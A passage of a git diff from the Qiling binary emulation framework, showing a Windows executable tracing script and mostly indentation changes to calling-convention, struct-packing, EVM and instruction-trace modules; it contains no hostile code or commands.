'regs'): + dump_regs.regs = regs + + rtn = '' + + # build string in order + for reg in ('eax', 'ebx', 'ecx', 'edx', 'edi', 'esi', 'ebp', 'esp'): + val = '{}: {:08X} '.format(reg.upper(), regs[reg]) + + if regs[reg] != dump_regs.regs[reg]: + rtn += colors.RED + val + colors.ENDC + else: + rtn += val + + dump_regs.regs = regs + + return rtn + + +def spaced_hex(data): + return b' '.join(hexlify(data)[i:i + 2] for i in range(0, len(hexlify(data)), 2)).decode('utf-8') + + +def disasm(count, ql: Qiling, address: int, size: int): + buf = ql.mem.read(address, size) + try: + for i in md.disasm(buf, address): + return "{:08X}\t{:08X}: {:24s} {:10s} {:16s}".format(count[0], i.address, spaced_hex(buf), i.mnemonic, + i.op_str) + except: + import traceback + print(traceback.format_exc()) + + +def trace(ql: Qiling): + count = [0] + ql.hook_code(trace_cb, count) + + +def trace_cb(ql: Qiling, address: int, size: int, count): + rtn = '{:100s}'.format(disasm(count, ql, address, size)) + if args.reg: + try: + rtn += dump_regs(ql) + except: + import traceback + print(traceback.format_exc()) + print(rtn) + count[0] += 1 + + +def emulate(path, rootfs, verbose=QL_VERBOSE.DEBUG, enable_trace=False): + ql = Qiling([path], rootfs, verbose=verbose) + + if enable_trace: + trace(ql) + + ql.run() + + +if __name__ == "__main__": + parser = argparse.ArgumentParser(description='Trace Windows executable') + parser.add_argument("-r", "--reg", help="Dump register values with trace option", action='store_true', + default=False) + parser.add_argument("-t", "--trace", help="Enable full trace", action='store_true', default=False) + parser.add_argument("-R", "--root", help="rootfs", default=None) + parser.add_argument("-d", "--dump", help="Directory to dump memory regions to", default="dump") + parser.add_argument("-p ", "--profile", help="customized profile", + default="qiling/profiles/windows.ql") + parser.add_argument('input', nargs='*') + args = parser.parse_args() + for path in args.input: + pe = pefile.PE(path) + + if pe.FILE_HEADER.Machine == 0x14c: + mode = 32 + md = Cs(CS_ARCH_X86, CS_MODE_32) + else: + mode = 64 + md = Cs(CS_ARCH_X86, CS_MODE_64) + + # setup default rootfs if option not provided + if not args.root: + if mode == 32: + args.root = os.path.join(os.getcwd(), 'rootfs', 'x86_windows') + else: + args.root = os.path.join(os.getcwd(), 'rootfs', 'x8664_windows') + + emulate(path, args.root, verbose=QL_VERBOSE.DEBUG, enable_trace=args.trace) diff --git a/qiling/arch/evm/vm/evm.py b/qiling/arch/evm/vm/evm.py index 73bd4e63a..8310d493b 100644 --- a/qiling/arch/evm/vm/evm.py +++ b/qiling/arch/evm/vm/evm.py @@ -14,20 +14,20 @@ from .utils import bytecode_to_bytes, runtime_code_detector from ..abi import QlArchEVMABI -# Code name Release date Release block Opcode supported +# Code name Release date Release block Opcode supported -# Frontier 2015-07-30 0 Yes -# Ice Age 2015-09-08 200,000 - -# Homestead 2016-03-15 1,150,000 Yes -# DAO Fork (unplanned) 2016-07-20 1,920,000 - -# Tangerine Whistle (unplanned) 2016-10-18 2,463,000 Yes -# Spurious Dragon 2016-11-23 2,675,000 Yes -# Byzantium 2017-10-16 4,370,000 Yes -# Constantinople 2019-02-28 7,280,000 Yes -# Petersburg (unplanned) 2019-02-28 7,280,000 Yes -# Istanbul 2019-12-08 9,069,000 Yes -# Muir Glacier 2020-01-01 9,200,000 Yes -# Berlin TBD TBD Yes +# Frontier 2015-07-30 0 Yes +# Ice Age 2015-09-08 200,000 - +# Homestead 2016-03-15 1,150,000 Yes +# DAO Fork (unplanned) 2016-07-20 1,920,000 - +# Tangerine Whistle (unplanned) 2016-10-18 2,463,000 Yes +# Spurious Dragon 2016-11-23 2,675,000 Yes +# Byzantium 2017-10-16 4,370,000 Yes +# Constantinople 2019-02-28 7,280,000 Yes +# Petersburg (unplanned) 2019-02-28 7,280,000 Yes +# Istanbul 2019-12-08 9,069,000 Yes +# Muir Glacier 2020-01-01 9,200,000 Yes +# Berlin TBD TBD Yes father_VMs = { diff --git a/qiling/cc/__init__.py b/qiling/cc/__init__.py index 5f7216c38..126bf620a 100644 --- a/qiling/cc/__init__.py +++ b/qiling/cc/__init__.py @@ -7,171 +7,171 @@ from qiling.arch.arch import QlArch class QlCC: - """Calling convention base class. - """ + """Calling convention base class. + """ - def __init__(self, arch: QlArch) -> None: - """Initialize a calling convention instance. + def __init__(self, arch: QlArch) -> None: + """Initialize a calling convention instance. - Args: - arch: underlying architecture instance - """ + Args: + arch: underlying architecture instance + """ - self.arch = arch + self.arch = arch - @staticmethod - def getNumSlots(argbits: int) -> int: - """Get the number of slots allocated for an argument of width `argbits`. - """ + @staticmethod + def getNumSlots(argbits: int) -> int: + """Get the number of slots allocated for an argument of width `argbits`. + """ - raise NotImplementedError + raise NotImplementedError - def getRawParam(self, slot: int, argbits: int = 0) -> int: - """Read a value of native size from the specified argument slot. + def getRawParam(self, slot: int, argbits: int = 0) -> int: + """Read a value of native size from the specified argument slot. - Note that argument slots and argument indexes are not the same. Though they often correlate - to each other, some implementations might use more than one slot to represent a sigle argument. + Note that argument slots and argument indexes are not the same. Though they often correlate + to each other, some implementations might use more than one slot to represent a sigle argument. - Args: - slot: argument slot to access - argbits: argument size in bits (default: arch native size) + Args: + slot: argument slot to access + argbits: argument size in bits (default: arch native size) - Returns: raw value - """ + Returns: raw value + """ - raise NotImplementedError + raise NotImplementedError - def setRawParam(self, slot: int, value: int, argbits: int = 0) -> None: - """Replace the value in the specified argument slot. + def setRawParam(self, slot: int, value: int, argbits: int = 0) -> None: + """Replace the value in the specified argument slot. - Note that argument slots and argument indexes are not the same. Though they often correlate - to each other, some implementations might use more than one slot to represent a sigle argument. + Note that argument slots and argument indexes are not the same. Though they often correlate + to each other, some implementations might use more than one slot to represent a sigle argument. - Args: - slot: argument slot to access - value: new raw value to write - argbits: argument size in bits (default: arch native size) - """ + Args: + slot: argument slot to access + value: new raw value to write + argbits: argument size in bits (default: arch native size) + """ - raise NotImplementedError + raise NotImplementedError - def getReturnValue(self) -> int: - """Get function return value. - """ + def getReturnValue(self) -> int: + """Get function return value. + """ - raise NotImplementedError + raise NotImplementedError - def setReturnValue(self, val: int) -> None: - """Set function return value. + def setReturnValue(self, val: int) -> None: + """Set function return value. - Args: - val: a value to set - """ + Args: + val: a value to set + """ - raise NotImplementedError + raise NotImplementedError - def setReturnAddress(self, addr: int) -> None: - """Set function return address. + def setReturnAddress(self, addr: int) -> None: + """Set function return address. - Args: - addr: return address to set - """ + Args: + addr: return address to set + """ - raise NotImplementedError + raise NotImplementedError - def reserve(self, nslots: int) -> None: - """Reserve slots for function arguments. + def reserve(self, nslots: int) -> None: + """Reserve slots for function arguments. - This may be used to stage a new frame before executing a native function. + This may be used to stage a new frame before executing a native function. - Args: - nslots: number of arg slots to reserve - """ + Args: + nslots: number of arg slots to reserve + """ - raise NotImplementedError + raise NotImplementedError - def unwind(self, nslots: int) -> int: - """Unwind frame and return from function call. + def unwind(self, nslots: int) -> int: + """Unwind frame and return from function call. - Args: - nslots: number of arg slots used + Args: + nslots: number of arg slots used - Returns: return address - """ + Returns: return address + """ - raise NotImplementedError + raise NotImplementedError class QlCommonBaseCC(QlCC): - """Calling convention base class that implements parameters access through both - registers and the stack. The extending class is resopnsible to implement the rest - of the QlCC interface. - """ + """Calling convention base class that implements parameters access through both + registers and the stack. The extending class is resopnsible to implement the rest + of the QlCC interface. + """ - _retreg: int - _argregs: Sequence - _shadow = 0 - _retaddr_on_stack = True + _retreg: int + _argregs: Sequence + _shadow = 0 + _retaddr_on_stack = True - def __init__(self, arch: QlArch): - super().__init__(arch) + def __init__(self, arch: QlArch): + super().__init__(arch) - # native address size in bytes - self._asize = self.arch.pointersize + # native address size in bytes + self._asize = self.arch.pointersize - def __access_param(self, index: int, stack_access: Callable, reg_access: Callable) -> Tuple[Callable, int]: - """[private] Generic accessor to function call parameters by their index. + def __access_param(self, index: int, stack_access: Callable, reg_access: Callable) -> Tuple[Callable, int]: + """[private] Generic accessor to function call parameters by their index. - This method will determine whether the parameter should be accessed on the stack or in a - register, and return the appropriate accessor along with the location to access (either a - register id or stack address) + This method will determine whether the parameter should be accessed on the stack or in a + register, and return the appropriate accessor along with the location to access (either a + register id or stack address) - Args: - index: parameter index to access - stack_access: stack accessor method (either read or write) - reg_access: regs accessor method (either read or write) + Args: + index: parameter index to access + stack_access: stack accessor method (either read or write) + reg_access: regs accessor method (either read or write) - Returns: a tuple of the accessor method to use and the location to access - """ + Returns: a tuple of the accessor method to use and the location to access + """ - if index >= len(self._argregs): - raise IndexError(f'tried to access arg {index}, but only {len(self._argregs) - 1} args are supported') + if index >= len(self._argregs): + raise IndexError(f'tried to access arg {index}, but only {len(self._argregs) - 1} args are supported') - reg = self._argregs[index] + reg = self._argregs[index] - # should arg be read from a reg or the stack? - if reg is None: - # get matching stack item - si = index - self._argregs.index(None) + # should arg be read from a reg or the stack? + if reg is None: + # get matching stack item + si = index - self._argregs.index(None) - # skip return address and shadow space - return stack_access, (self._retaddr_on_stack + self._shadow + si) * self._asize - else: - return reg_access, reg + # skip return address and shadow space + return stack_access, (self._retaddr_on_stack + self._shadow + si) * self._asize + else: + return reg_access, reg - def getRawParam(self, index: int, argbits: int = 0) -> int: - read, loc = self.__access_param(index, self.arch.stack_read, self.arch.regs.read) + def getRawParam(self, index: int, argbits: int = 0) -> int: + read, loc = self.__access_param(index, self.arch.stack_read, self.arch.regs.read) - mask = (argbits and (1 << argbits)) - 1 + mask = (argbits and (1 << argbits)) - 1 - return read(loc) & mask + return read(loc) & mask - def setRawParam(self, index: int, value: int, argbits: int = 0) -> None: - write, loc = self.__access_param(index, self.arch.stack_write, self.arch.regs.write) + def setRawParam(self, index: int, value: int, argbits: int = 0) -> None: + write, loc = self.__access_param(index, self.arch.stack_write, self.arch.regs.write) - mask = (argbits and (1 << argbits)) - 1 + mask = (argbits and (1 << argbits)) - 1 - write(loc, value & mask) + write(loc, value & mask) - def getReturnValue(self) -> int: - return self.arch.regs.read(self._retreg) + def getReturnValue(self) -> int: + return self.arch.regs.read(self._retreg) - def setReturnValue(self, value: int) -> None: - self.arch.regs.write(self._retreg, value) + def setReturnValue(self, value: int) -> None: + self.arch.regs.write(self._retreg, value) - def reserve(self, nslots: int) -> None: - assert nslots < len(self._argregs), 'too many slots' + def reserve(self, nslots: int) -> None: + assert nslots < len(self._argregs), 'too many slots' - # count how many slots should be reserved on the stack - si = self._argregs[:nslots].count(None) + # count how many slots should be reserved on the stack + si = self._argregs[:nslots].count(None) - self.arch.regs.arch_sp -= (self._shadow + si) * self._asize + self.arch.regs.arch_sp -= (self._shadow + si) * self._asize diff --git a/qiling/cc/intel.py b/qiling/cc/intel.py index 9c9aded49..b916b659b 100644 --- a/qiling/cc/intel.py +++ b/qiling/cc/intel.py @@ -3,104 +3,104 @@ # Cross Platform and Multi Architecture Advanced Binary Emulation Framework from unicorn.x86_const import ( - UC_X86_REG_EAX, UC_X86_REG_RAX, UC_X86_REG_RCX, UC_X86_REG_RDI, - UC_X86_REG_RDX, UC_X86_REG_RSI, UC_X86_REG_R8, UC_X86_REG_R9, - UC_X86_REG_R10 + UC_X86_REG_EAX, UC_X86_REG_RAX, UC_X86_REG_RCX, UC_X86_REG_RDI, + UC_X86_REG_RDX, UC_X86_REG_RSI, UC_X86_REG_R8, UC_X86_REG_R9, + UC_X86_REG_R10 ) from qiling.cc import QlCommonBaseCC class QlIntelBaseCC(QlCommonBaseCC): - """Calling convention base class for Intel-based systems. - Supports arguments passing over registers and stack. - """ + """Calling convention base class for Intel-based systems. + Supports arguments passing over registers and stack. + """ - def setReturnAddress(self, addr: int) -> None: - self.arch.stack_push(addr) + def setReturnAddress(self, addr: int) -> None: + self.arch.stack_push(addr) - def unwind(self, nslots: int) -> int: - # no cleanup; just pop out the return address - return self.arch.stack_pop() + def unwind(self, nslots: int) -> int: + # no cleanup; just pop out the return address + return self.arch.stack_pop() class QlIntel64(QlIntelBaseCC): - """Calling convention base class for Intel-based 64-bit systems. - """ + """Calling convention base class for Intel-based 64-bit systems. + """ - _retreg = UC_X86_REG_RAX + _retreg = UC_X86_REG_RAX - @staticmethod - def getNumSlots(argbits: int) -> int: - return max(argbits, 64) // 64 + @staticmethod + def getNumSlots(argbits: int) -> int: + return max(argbits, 64) // 64 class QlIntel32(QlIntelBaseCC): - """Calling convention base class for Intel-based 32-bit systems. - """ + """Calling convention base class for Intel-based 32-bit systems. + """ - _retreg = UC_X86_REG_EAX + _retreg = UC_X86_REG_EAX - @staticmethod - def getNumSlots(argbits: int) -> int: - return max(argbits, 32) // 32 + @staticmethod + def getNumSlots(argbits: int) -> int: + return max(argbits, 32) // 32 - def getRawParam(self, slot: int, nbits: int = 0) -> int: - __super_getparam = super().getRawParam + def getRawParam(self, slot: int, nbits: int = 0) -> int: + __super_getparam = super().getRawParam - if nbits == 64: - lo = __super_getparam(slot) - hi = __super_getparam(slot + 1) + if nbits == 64: + lo = __super_getparam(slot) + hi = __super_getparam(slot + 1) - val = (hi << 32) | lo - else: - val = __super_getparam(slot, nbits) + val = (hi << 32) | lo + else: + val = __super_getparam(slot, nbits) - return val + return val class amd64(QlIntel64): - """Default calling convention for POSIX (x86-64). - First 6 arguments are passed in regs, the rest are passed on the stack. - """ + """Default calling convention for POSIX (x86-64). + First 6 arguments are passed in regs, the rest are passed on the stack. + """ - _argregs = (UC_X86_REG_RDI, UC_X86_REG_RSI, UC_X86_REG_RDX, UC_X86_REG_R10, UC_X86_REG_R8, UC_X86_REG_R9) + (None, ) * 10 + _argregs = (UC_X86_REG_RDI, UC_X86_REG_RSI, UC_X86_REG_RDX, UC_X86_REG_R10, UC_X86_REG_R8, UC_X86_REG_R9) + (None, ) * 10 class ms64(QlIntel64): - """Default calling convention for Windows and UEFI (x86-64). - First 4 arguments are passed in regs, the rest are passed on the stack. + """Default calling convention for Windows and UEFI (x86-64). + First 4 arguments are passed in regs, the rest are passed on the stack. - Each stack frame starts with a shadow space in size of 4 items, corresponding - to the first arguments passed in regs. - """ + Each stack frame starts with a shadow space in size of 4 items, corresponding + to the first arguments passed in regs. + """ - _argregs = (UC_X86_REG_RCX, UC_X86_REG_RDX, UC_X86_REG_R8, UC_X86_REG_R9) + (None, ) * 12 - _shadow = 4 + _argregs = (UC_X86_REG_RCX, UC_X86_REG_RDX, UC_X86_REG_R8, UC_X86_REG_R9) + (None, ) * 12 + _shadow = 4 class macosx64(QlIntel64): - """Default calling convention for Mac OS (x86-64). - First 6 arguments are passed in regs, the rest are passed on the stack. - """ + """Default calling convention for Mac OS (x86-64). + First 6 arguments are passed in regs, the rest are passed on the stack. + """ - _argregs = (UC_X86_REG_RDI, UC_X86_REG_RSI, UC_X86_REG_RDX, UC_X86_REG_RCX, UC_X86_REG_R8, UC_X86_REG_R9) + (None, ) * 10 + _argregs = (UC_X86_REG_RDI, UC_X86_REG_RSI, UC_X86_REG_RDX, UC_X86_REG_RCX, UC_X86_REG_R8, UC_X86_REG_R9) + (None, ) * 10 class cdecl(QlIntel32): - """Calling convention used by all operating systems (x86). - All arguments are passed on the stack. + """Calling convention used by all operating systems (x86). + All arguments are passed on the stack. - The caller is resopnsible to unwind the stack. - """ + The caller is resopnsible to unwind the stack. + """ - _argregs = (None, ) * 16 + _argregs = (None, ) * 16 class stdcall(QlIntel32): - """Calling convention used by all operating systems (x86). - All arguments are passed on the stack. + """Calling convention used by all operating systems (x86). + All arguments are passed on the stack. - The callee is resopnsible to unwind the stack. - """ + The callee is resopnsible to unwind the stack. + """ - _argregs = (None, ) * 16 + _argregs = (None, ) * 16 - def unwind(self, nslots: int) -> int: - retaddr = super().unwind(nslots) + def unwind(self, nslots: int) -> int: + retaddr = super().unwind(nslots) - self.arch.regs.arch_sp += (nslots * self._asize) + self.arch.regs.arch_sp += (nslots * self._asize) - return retaddr + return retaddr diff --git a/qiling/cc/mips.py b/qiling/cc/mips.py index c1b3a0897..658b58587 100644 --- a/qiling/cc/mips.py +++ b/qiling/cc/mips.py @@ -7,15 +7,15 @@ from qiling.cc import QlCommonBaseCC class mipso32(QlCommonBaseCC): - _retreg = UC_MIPS_REG_V0 - _argregs = (UC_MIPS_REG_A0, UC_MIPS_REG_A1, UC_MIPS_REG_A2, UC_MIPS_REG_A3) + (None, ) * 12 - _shadow = 4 - _retaddr_on_stack = False + _retreg = UC_MIPS_REG_V0 + _argregs = (UC_MIPS_REG_A0, UC_MIPS_REG_A1, UC_MIPS_REG_A2, UC_MIPS_REG_A3) + (None, ) * 12 + _shadow = 4 + _retaddr_on_stack = False - @staticmethod - def getNumSlots(argbits: int): - return 1 + @staticmethod + def getNumSlots(argbits: int): + return 1 - def unwind(self, nslots: int) -> int: - # TODO: stack frame unwiding? - return self.arch.regs.ra + def unwind(self, nslots: int) -> int: + # TODO: stack frame unwiding? + return self.arch.regs.ra diff --git a/qiling/core_struct.py b/qiling/core_struct.py index 08c325a07..6c0d99cca 100644 --- a/qiling/core_struct.py +++ b/qiling/core_struct.py @@ -19,81 +19,81 @@ # Don't assume self is Qiling. class QlCoreStructs: - def __init__(self, endian: QL_ENDIAN, bit: int): - modifier = { - QL_ENDIAN.EL: '<', - QL_ENDIAN.EB: '>' - }[endian] + def __init__(self, endian: QL_ENDIAN, bit: int): + modifier = { + QL_ENDIAN.EL: '<', + QL_ENDIAN.EB: '>' + }[endian] - self._fmt8 = f'{modifier}B' - self._fmt8s = f'{modifier}b' - self._fmt16 = f'{modifier}H' - self._fmt16s = f'{modifier}h' - self._fmt32 = f'{modifier}I' - self._fmt32s = f'{modifier}i' - self._fmt64 = f'{modifier}Q' - self._fmt64s = f'{modifier}q' + self._fmt8 = f'{modifier}B' + self._fmt8s = f'{modifier}b' + self._fmt16 = f'{modifier}H' + self._fmt16s = f'{modifier}h' + self._fmt32 = f'{modifier}I' + self._fmt32s = f'{modifier}i' + self._fmt64 = f'{modifier}Q' + self._fmt64s = f'{modifier}q' - handlers = { - 64 : (self.pack64, self.pack64s, self.unpack64, self.unpack64s), - 32 : (self.pack32, self.pack32s, self.unpack32, self.unpack32s), - 16 : (self.pack16, self.pack16s, self.unpack16, self.unpack16s), - } + handlers = { + 64 : (self.pack64, self.pack64s, self.unpack64, self.unpack64s), + 32 : (self.pack32, self.pack32s, self.unpack32, self.unpack32s), + 16 : (self.pack16, self.pack16s, self.unpack16, self.unpack16s), + } - if bit not in handlers: - raise QlErrorStructConversion("Unsupported Qiling struct conversion") + if bit not in handlers: + raise QlErrorStructConversion("Unsupported Qiling struct conversion") - p, ps, up, ups = handlers[bit] + p, ps, up, ups = handlers[bit] - self.pack = p - self.packs = ps - self.unpack = up - self.unpacks = ups + self.pack = p + self.packs = ps + self.unpack = up + self.unpacks = ups - def pack64(self, x: int, /) -> bytes: - return struct.pack(self._fmt64, x) + def pack64(self, x: int, /) -> bytes: + return struct.pack(self._fmt64, x) - def pack64s(self, x: int, /) -> bytes: - return struct.pack(self._fmt64s, x) + def pack64s(self, x: int, /) -> bytes: + return struct.pack(self._fmt64s, x) - def unpack64(self, x: ReadableBuffer, /) -> int: - return struct.unpack(self._fmt64, x)[0] + def unpack64(self, x: ReadableBuffer, /) -> int: + return struct.unpack(self._fmt64, x)[0] - def unpack64s(self, x: ReadableBuffer, /) -> int: - return struct.unpack(self._fmt64s, x)[0] + def unpack64s(self, x: ReadableBuffer, /) -> int: + return struct.unpack(self._fmt64s, x)[0] - def pack32(self, x: int, /) -> bytes: - return struct.pack(self._fmt32, x) + def pack32(self, x: int, /) -> bytes: + return struct.pack(self._fmt32, x) - def pack32s(self, x: int, /) -> bytes: - return struct.pack(self._fmt32s, x) + def pack32s(self, x: int, /) -> bytes: + return struct.pack(self._fmt32s, x) - def unpack32(self, x: ReadableBuffer, /) -> int: - return struct.unpack(self._fmt32, x)[0] + def unpack32(self, x: ReadableBuffer, /) -> int: + return struct.unpack(self._fmt32, x)[0] - def unpack32s(self, x: ReadableBuffer, /) -> int: - return struct.unpack(self._fmt32s, x)[0] + def unpack32s(self, x: ReadableBuffer, /) -> int: + return struct.unpack(self._fmt32s, x)[0] - def pack16(self, x: int, /) -> bytes: - return struct.pack(self._fmt16, x) + def pack16(self, x: int, /) -> bytes: + return struct.pack(self._fmt16, x) - def pack16s(self, x: int, /) -> bytes: - return struct.pack(self._fmt16s, x) + def pack16s(self, x: int, /) -> bytes: + return struct.pack(self._fmt16s, x) - def unpack16(self, x: ReadableBuffer, /) -> int: - return struct.unpack(self._fmt16, x)[0] + def unpack16(self, x: ReadableBuffer, /) -> int: + return struct.unpack(self._fmt16, x)[0] - def unpack16s(self, x: ReadableBuffer, /) -> int: - return struct.unpack(self._fmt16s, x)[0] + def unpack16s(self, x: ReadableBuffer, /) -> int: + return struct.unpack(self._fmt16s, x)[0] - def pack8(self, x: int, /) -> bytes: - return struct.pack(self._fmt8, x) + def pack8(self, x: int, /) -> bytes: + return struct.pack(self._fmt8, x) - def pack8s(self, x: int, /) -> bytes: - return struct.pack(self._fmt8s, x) + def pack8s(self, x: int, /) -> bytes: + return struct.pack(self._fmt8s, x) - def unpack8(self, x: ReadableBuffer, /) -> int: - return struct.unpack(self._fmt8, x)[0] + def unpack8(self, x: ReadableBuffer, /) -> int: + return struct.unpack(self._fmt8, x)[0] - def unpack8s(self, x: ReadableBuffer, /) -> int: - return struct.unpack(self._fmt8s, x)[0] + def unpack8s(self, x: ReadableBuffer, /) -> int: + return struct.unpack(self._fmt8s, x)[0] diff --git a/qiling/extensions/trace.py b/qiling/extensions/trace.py index ca99ecdb7..32dbb5881 100644 --- a/qiling/extensions/trace.py +++ b/qiling/extensions/trace.py @@ -15,216 +15,216 @@ # def __uc2_workaround() -> Mapping[int, int]: - """Starting from Unicorn2, Unicorn and Capstone Intel registers definitions are - no longer aligned and cannot be used interchangebly. This temporary workaround - maps capstone x86 registers definitions to unicorn x86 registers definitions. + """Starting from Unicorn2, Unicorn and Capstone Intel registers definitions are + no longer aligned and cannot be used interchangebly. This temporary workaround + maps capstone x86 registers definitions to unicorn x86 registers definitions. - see: https://github.com/unicorn-engine/unicorn/issues/1492 - """ + see: https://github.com/unicorn-engine/unicorn/issues/1492 + """ - from capstone import x86_const as cs_x86_const - from unicorn import x86_const as uc_x86_const + from capstone import x86_const as cs_x86_const + from unicorn import x86_const as uc_x86_const - def __canonicalized_mapping(module, prefix: str) -> Mapping[str, int]: - return dict((k[len(prefix):], getattr(module, k)) for k in dir(module) if k.startswith(prefix)) + def __canonicalized_mapping(module, prefix: str) -> Mapping[str, int]: + return dict((k[len(prefix):], getattr(module, k)) for k in dir(module) if k.startswith(prefix)) - cs_x86_regs = __canonicalized_mapping(cs_x86_const, 'X86_REG') - uc_x86_regs = __canonicalized_mapping(uc_x86_const, 'UC_X86_REG') + cs_x86_regs = __canonicalized_mapping(cs_x86_const, 'X86_REG') + uc_x86_regs = __canonicalized_mapping(uc_x86_const, 'UC_X86_REG') - return dict((cs_x86_regs[k], uc_x86_regs[k]) for k in cs_x86_regs if k in uc_x86_regs) + return dict((cs_x86_regs[k], uc_x86_regs[k]) for k in cs_x86_regs if k in uc_x86_regs) CS_UC_REGS = __uc2_workaround() # def __get_trace_records(ql: Qiling, address: int, size: int, md: Cs) -> Iterator[TraceRecord]: - """[private] Acquire trace info for the current instruction and yield as a trace record. - A trace record is a parsed instruction paired to a list of registers and their values. + """[private] Acquire trace info for the current instruction and yield as a trace record. + A trace record is a parsed instruction paired to a list of registers and their values. - This method might yield more than one record for a single instruction. - """ + This method might yield more than one record for a single instruction. + """ - # unicorn denotes unsupported instructions by a magic size value. though these instructions - # are not emulated, capstone can still parse them. - if size == 0xf1f1f1f1: - # note that invalid instructions will generate a StopIteration exception here - yield next(__get_trace_records(ql, address, 16, md)) - return + # unicorn denotes unsupported instructions by a magic size value. though these instructions + # are not emulated, capstone can still parse them. + if size == 0xf1f1f1f1: + # note that invalid instructions will generate a StopIteration exception here + yield next(__get_trace_records(ql, address, 16, md)) + return - # a trace line is generated even for hook addresses that do not contain meaningful opcodes. - # in that case, make it look like a nop - if address in ql._addr_hook: - buf = b'\x90' - else: - buf = ql.mem.read(address, size) + # a trace line is generated even for hook addresses that do not contain meaningful opcodes. + # in that case, make it look like a nop + if address in ql._addr_hook: + buf = b'\x90' + else: + buf = ql.mem.read(address, size) - for insn in md.disasm(buf, address): - # BUG: insn.regs_read doesn't work well, so we use insn.regs_access()[0] - state = tuple((reg, ql.arch.regs.read(CS_UC_REGS[reg])) for reg in insn.regs_access()[0]) + for insn in md.disasm(buf, address): + # BUG: insn.regs_read doesn't work well, so we use insn.regs_access()[0] + state = tuple((reg, ql.arch.regs.read(CS_UC_REGS[reg])) for reg in insn.regs_access()[0]) - yield (insn, state) + yield (insn, state) def __to_trace_line(record: TraceRecord, symsmap: Mapping[int, str] = {}) -> str: - """[private] Transform trace info into a formatted trace line. - """ + """[private] Transform trace info into a formatted trace line. + """ - insn, state = record + insn, state = record - # when the rip register is referenced from within an instruction it is expected to point - # to the next instruction boundary. since unicorn has not executed the instruction yet - # is uses the cpu state resulted from the previous instruction - and rip points to the - # current instruction instead of the next one. - # - # here we patch rip value recorded in state to point to the next instruction boundary - state = tuple((reg, val + insn.size if reg == X86_REG_RIP else val) for reg, val in state) + # when the rip register is referenced from within an instruction it is expected to point + # to the next instruction boundary. since unicorn has not executed the instruction yet + # is uses the cpu state resulted from the previous instruction - and rip points to the + # current instruction instead of the next one. + # + # here we patch rip value recorded in state to point to the next instruction boundary + state = tuple((reg, val + insn.size if reg == X86_REG_RIP else val) for reg, val in state) - def __read_reg(reg: int) -> int: - """[internal] Read a register value from the recorded state. Only registers that were - referenced by the current instruction can be read. - """ + def __read_reg(reg: int) -> int: + """[internal] Read a register value from the recorded state. Only registers that were + referenced by the current instruction can be read. + """ - return 0 if reg == X86_REG_INVALID else next(v for r, v in state if r == reg) + return 0 if reg == X86_REG_INVALID else next(v for r, v in state if r == reg) - def __resolve(address: int) -> str: - """[internal] Find the symbol that matches to the specified address (if any). - """ + def __resolve(address: int) -> str: + """[internal] Find the symbol that matches to the specified address (if any). + """ - return symsmap.get(address, '') + return symsmap.get(address, '') - def __parse_op(op: X86Op) -> str: - """[internal] Parse an operand and return its string representation. Indirect memory - references will be substitued by the effective address they refer to. If the referenced - address is associated with a symbol, it will be substitued by that symbol. - """ + def __parse_op(op: X86Op) -> str: + """[internal] Parse an operand and return its string representation. Indirect memory + references will be substitued by the effective address they refer to. If the referenced + address is associated with a symbol, it will be substitued by that symbol. + """ - if op.type == CS_OP_REG: - return insn.reg_name(op.value.reg) or '?' + if op.type == CS_OP_REG: + return insn.reg_name(op.value.reg) or '?' - elif op.type == CS_OP_IMM: - imm = op.value.imm + elif op.type == CS_OP_IMM: + imm = op.value.imm - return __resolve(imm) or f'{imm:#x}' + return __resolve(imm) or f'{imm:#x}' - elif op.type == CS_OP_MEM: - mem = op.value.mem + elif op.type == CS_OP_MEM: + mem = op.value.mem - base = __read_reg(mem.base) - index = __read_reg(mem.index) - scale = mem.scale - disp = mem.disp + base = __read_reg(mem.base) + index = __read_reg(mem.index) + scale = mem.scale + disp = mem.disp - ea = base + index * scale + disp - seg = f'{insn.reg_name(mem.segment)}:' if mem.segment else '' + ea = base + index * scale + disp + seg = f'{insn.reg_name(mem.segment)}:' if mem.segment else '' - # we construct the string representation for each operand; denote memory - # dereferenes with the appropriate 'ptr' prefix. the 'lea' instruction is - # an exception since it does not use that notation. - if insn.id == X86_INS_LEA: - qualifier = f'' - else: - ptr = { - 1: 'byte', - 2: 'word', - 4: 'dword', - 8: 'qword', - 10: 'fword', - 16: 'xmmword' - }[op.size] + # we construct the string representation for each operand; denote memory + # dereferenes with the appropriate 'ptr' prefix. the 'lea' instruction is + # an exception since it does not use that notation. + if insn.id == X86_INS_LEA: + qualifier = f'' + else: + ptr = { + 1: 'byte', + 2: 'word', + 4: 'dword', + 8: 'qword', + 10: 'fword', + 16: 'xmmword' + }[op.size] - qualifier = f'{ptr} ptr ' + qualifier = f'{ptr} ptr ' - return f'{qualifier}{seg}[{__resolve(ea) or f"{ea:#x}"}]' + return f'{qualifier}{seg}[{__resolve(ea) or f"{ea:#x}"}]' - # unexpected op type - raise RuntimeError + # unexpected op type + raise RuntimeError - operands = ', '.join(__parse_op(o) for o in insn.operands) - reads = ', '.join(f'{insn.reg_name(reg)} = {val:#x}' for reg, val in state) + operands = ', '.join(__parse_op(o) for o in insn.operands) + reads = ', '.join(f'{insn.reg_name(reg)} = {val:#x}' for reg, val in state) - return f'{insn.address:08x} | {insn.bytes.hex():24s} {insn.mnemonic:10} {operands:56s} | {reads}' + return f'{insn.address:08x} | {insn.bytes.hex():24s} {insn.mnemonic:10} {operands:56s} | {reads}' def enable_full_trace(ql: Qiling): - """Enable instruction-level tracing. + """Enable instruction-level tracing. - Trace line will be emitted for each instruction before it gets executed. The info - includes static data along with the relevant registers state and symbols resolving. + Trace line will be emitted for each instruction before it gets executed. The info + includes static data along with the relevant registers state and symbols resolving. - Args: - ql: qiling instance - """ + Args: + ql: qiling instance + """ - # enable detailed disassembly info - md = ql.arch.disassembler - md.detail = True + # enable detailed disassembly info + md = ql.arch.disassembler + md.detail = True - assert md.arch == CS_ARCH_X86, 'currently available only for intel architecture' + assert md.arch == CS_ARCH_X86, 'currently available only for intel architecture' - # if available, use symbols map to resolve memory accesses - symsmap = getattr(ql.loader, 'symsmap', {}) + # if available, use symbols map to resolve memory accesses + symsmap = getattr(ql.loader, 'symsmap', {}) - # show trace lines in a darker color so they would be easily distinguished from - # ordinary log records - faded_color = "\033[2m" - reset_color = "\033[0m" + # show trace lines in a darker color so they would be easily distinguished from + # ordinary log records + faded_color = "\033[2m" + reset_color = "\033[0m" - def __trace_hook(ql: Qiling, address: int, size: int): - """[internal] Trace hook callback. - """ + def __trace_hook(ql: Qiling, address: int, size: int): + """[internal] 